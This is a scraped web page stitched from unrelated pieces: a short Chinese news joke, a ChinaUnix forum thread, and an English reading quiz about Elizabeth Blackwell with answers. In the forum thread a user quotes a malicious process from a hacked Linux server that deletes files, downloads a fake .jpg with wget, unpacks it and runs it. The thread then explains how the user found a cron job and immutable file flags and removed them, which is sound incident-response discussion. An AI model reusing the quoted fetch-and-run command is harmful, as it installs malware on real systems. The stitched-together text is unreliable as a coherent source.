帮个忙|小刘|宠物用品_凤凰资讯
用微信扫描二维码分享至好友和朋友圈
中午，几个同事去超市闲逛。逛到宠物用品专柜时，小刘被一款新出的狗粮吸引了。
原标题：帮个忙中午，几个同事去超市闲逛。逛到宠物用品专柜时，小刘被一款新出的狗粮吸引了。李姐说他：“想买就买吧。”小刘笑道：“看着挺好吃的。”我说：“这形状挺有意思，你家狗狗肯定喜欢。”小刘笑着对一旁的小夏说：“夏姑娘，你帮我鉴定一下。”小夏嘟囔道：“你不会是想让我帮你家狗狗尝吧？”小刘说：“你不是属狗吗，你就告诉我你第一眼看到它时，有没有被它吸引吧？”　　　　　　（玉明）
用微信扫描二维码分享至好友和朋友圈
凤凰资讯官方微信
播放数：1481360
播放数：154678
播放数：237202
播放数：5808920
48小时点击排行新手园地& & & 硬件问题Linux系统管理Linux网络问题Linux环境编程Linux桌面系统国产LinuxBSD& & & BSD文档中心AIX& & & 新手入门& & & AIX文档中心& & & 资源下载& & & Power高级应用& & & IBM存储AS400Solaris& & & Solaris文档中心HP-UX& & & HP文档中心SCO UNIX& & & SCO文档中心互操作专区IRIXTru64 UNIXMac OS X门户网站运维集群和高可用服务器应用监控和防护虚拟化技术架构设计行业应用和管理服务器及硬件技术& & & 服务器资源下载云计算& & & 云计算文档中心& & & 云计算业界& & & 云计算资源下载存储备份& & & 存储文档中心& & & 存储业界& & & 存储资源下载& & & Symantec技术交流区安全技术网络技术& & & 网络技术文档中心C/C++& & & GUI编程& & & Functional编程内核源码& & & 内核问题移动开发& & & 移动开发技术资料ShellPerlJava& & & Java文档中心PHP& & & php文档中心Python& & & Python文档中心RubyCPU与编译器嵌入式开发驱动开发Web开发VoIP开发技术MySQL& & & MySQL文档中心SybaseOraclePostgreSQLDB2Informix数据仓库与数据挖掘NoSQL技术IT业界新闻与评论IT职业生涯& & & 猎头招聘IT图书与评论& & & CU技术图书大系& & & Linux书友会二手交易下载共享Linux文档专区IT培训与认证& & & 培训交流& & & 认证培训清茶斋投资理财运动地带快乐数码摄影& & & 摄影器材& & & 摄影比赛专区IT爱车族旅游天下站务交流版主会议室博客SNS站务交流区CU活动专区& & & Power活动专区& & & 拍卖交流区频道交流区
UID空间积分0 积分73阅读权限10帖子精华可用积分74 信誉积分137 专家积分0 在线时间84 小时注册时间最后登录
白手起家, 积分 73, 距离下一级还需 127 积分
帖子主题精华可用积分74 信誉积分137 专家积分0 在线时间84 小时注册时间最后登录
论坛徽章:0
看到系统里面有这样一个进程：
sh -c rm -rf /usr/sbin/chan* && cd /usr/sbin/ && wget
&& tar xvf /usr/sbin/change.jpg && rm -rf /usr/sbin/chang* && /usr/sbin/change &
这个域名解析出来是一个韩国的IP，这个图片是空的，也解压不了。不知道这个是哪里来的。希望大家能帮忙指点一下，我还能从哪里下手。
&&nbsp|&&nbsp&&nbsp|&&nbsp&&nbsp|&&nbsp&&nbsp|&&nbsp
UID空间积分0 积分73阅读权限10帖子精华可用积分74 信誉积分137 专家积分0 在线时间84 小时注册时间最后登录
白手起家, 积分 73, 距离下一级还需 127 积分
帖子主题精华可用积分74 信誉积分137 专家积分0 在线时间84 小时注册时间最后登录
论坛徽章:0
本帖最后由 默然回首时 于
14:38 编辑
问题解决了，说下方法吧，希望能帮到大家。
看到进程里面老是有这么几个异常的进程，什么也不干，就老是定期（1分钟）wget一个不存在的图片。
在进程里面能看到一个&&
root& &&&&&0 12:53 ?& && &&&00:00:00 f Opyum Team
没见过这个进程，查看一下
这是一个可执行文件，不知道是干什么的。
从ps -ef 里面，可以看出来，他的ppid是CROND的，所以，看下相关的cron文件。
在/etc/crontab 里面发现了这个：
* * * * * root f Opyum Team
这基本上就符合了他出现的频率了，每分钟一次。
首先把这个任务注释掉，但是提示没有权限。
#lsattr /etc/crontab
看到有i权限，lsattr -i 去掉，然后修改。再删/bin/f这个文件，也需要去掉i权限，提前把lsattr备份一个，他会把这个命令给删掉。
提示：把密码搞的复杂点，防止被别人破解
UID246481空间积分0 积分29684阅读权限100帖子精华可用积分29684 信誉积分1882 专家积分83 在线时间2605 小时注册时间最后登录
帖子主题精华可用积分29684 信誉积分1882 专家积分83 在线时间2605 小时注册时间最后登录
认证徽章论坛徽章:32
被黑了最彻底就重装,要不得一点点地查痕迹了.
大梦谁先觉？平生我自知，草堂春睡足，窗外日迟迟。
UID空间积分0 积分73阅读权限10帖子精华可用积分74 信誉积分137 专家积分0 在线时间84 小时注册时间最后登录
白手起家, 积分 73, 距离下一级还需 127 积分
帖子主题精华可用积分74 信誉积分137 专家积分0 在线时间84 小时注册时间最后登录
论坛徽章:0
好的好的，多谢版主的建议
男性it民工
UID1730385空间积分805 积分177161阅读权限100帖子精华可用积分177161 信誉积分6690 专家积分563 在线时间23726 小时注册时间最后登录
帖子主题精华可用积分177161 信誉积分6690 专家积分563 在线时间23726 小时注册时间最后登录
认证徽章论坛徽章:374
还是看一下黑客是如何侵入的,有针对性的防护
好读书,不求甚解;每有会意,便欣然忘食
非淡泊无以明志，非宁静无以致远。
UID空间积分0 积分73阅读权限10帖子精华可用积分74 信誉积分137 专家积分0 在线时间84 小时注册时间最后登录
白手起家, 积分 73, 距离下一级还需 127 积分
帖子主题精华可用积分74 信誉积分137 专家积分0 在线时间84 小时注册时间最后登录
论坛徽章:0
嗯，好的。我系统很差劲，我看看能不能找到信息
UID246481空间积分0 积分29684阅读权限100帖子精华可用积分29684 信誉积分1882 专家积分83 在线时间2605 小时注册时间最后登录
帖子主题精华可用积分29684 信誉积分1882 专家积分83 在线时间2605 小时注册时间最后登录
认证徽章论坛徽章:32
进程也挺怪, rm * 了再执行?
大梦谁先觉？平生我自知，草堂春睡足，窗外日迟迟。
UID空间积分0 积分73阅读权限10帖子精华可用积分74 信誉积分137 专家积分0 在线时间84 小时注册时间最后登录
白手起家, 积分 73, 距离下一级还需 127 积分
帖子主题精华可用积分74 信誉积分137 专家积分0 在线时间84 小时注册时间最后登录
论坛徽章:0
& & 是呢，这个进程我怎么看怎么不理解。呵呵。
下载一个图片，下载的时候还是403的，下载不到。然后呢，他还解压一个图片。我把一个压缩包重命名为.jpg的，解压不出来。然后他还删了所有相关的文件，然后再执行。不知道到底是什么意图。5帮个忙了谢谢了3.Elizabeth Blackwell was born in England in 1821,and moved to New York City when she was ten years old.One day she decided that she wanted to become a doctor.That was nearly impossible for a woman in the middle of the nineteenth century.After writing many letters asking for admission(录取) to medical schools,she was finally accepted by a doctor in Philadelphia.She was so determined that she taught school and gave music lessons to get money for the cost of schooling.In 1849,after graduation from medical school,she decided to further her education in Paris.She wanted to be a surgeon(外科医师) ,but a serious eye problem forced her to give up the idea.Upon returning to the United States,she found it difficult to start her own practice because she was a woman.By 1857 Elizabeth and her sister,also a doctor,along with another woman doctor,managed to open a new hospital,the first for women and children.Besides being the first woman physician and founding her own hospital ,she also set up the first medical school for women.1.Why couldn’t Elizabeth Blackwell realize her dream of becoming a surgeon?A.She couldn’t get admitted to medical schoolB.She decided to further her education in ParisC.A serious eye problem stopped herD.It was difficult for her to start a practice in the United States2.What main obstacle(障碍) almost destroyed Elizabeth’s chances for becoming for a doctor?A.She was a woman.B.She wrote too many letters.C.She couldn’t graduate from medical school.D.She couldn’t set up her hospital.3.How many years passed between her graduation from medical school and the opening of her hospital?A.Eight yearsB.Ten yearsC.Nineteen yearsD.Thirty-six years4.According to the passage,all of the following are “firsts” in the life of Elizabeth Blacekwell,except that she ______.A.became the first woman physicianB.was the first woman doctorC.and several other women founded the first hospital for women and childrenD.set up the first medical school for women5.Elizabeth Blackwell spent most of her life in _______.A.EnglandB.Paris C.the United States D.New York City
1.CExplain:She wanted to be a surgeon(外科医师) ,but a serious eye problem forced her to give up the idea.2.AExplain:Upon returning to the United States,she found it difficult to start her own practice because she was a woman.3.AExplain:4.BExplain:从文中可以找到5.CExplain:从文中可以看出,伊丽沙白大多时间在纽约和费城,也就是美国.
为您推荐：
其他类似问题
扫描下载二维码